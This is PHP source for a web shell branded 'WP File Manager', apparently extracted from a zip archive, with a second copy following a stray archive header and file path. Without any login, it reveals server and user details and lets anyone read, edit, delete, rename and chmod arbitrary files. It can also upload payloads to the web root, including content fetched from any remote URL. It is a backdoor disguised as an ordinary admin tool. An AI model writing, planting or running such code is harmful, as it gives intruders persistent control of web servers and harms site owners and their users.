for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK’&{]qÜd©Ë©Ë"romania@dunyagozbalkans.com/kl.phpnu„[µü¤ kllllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

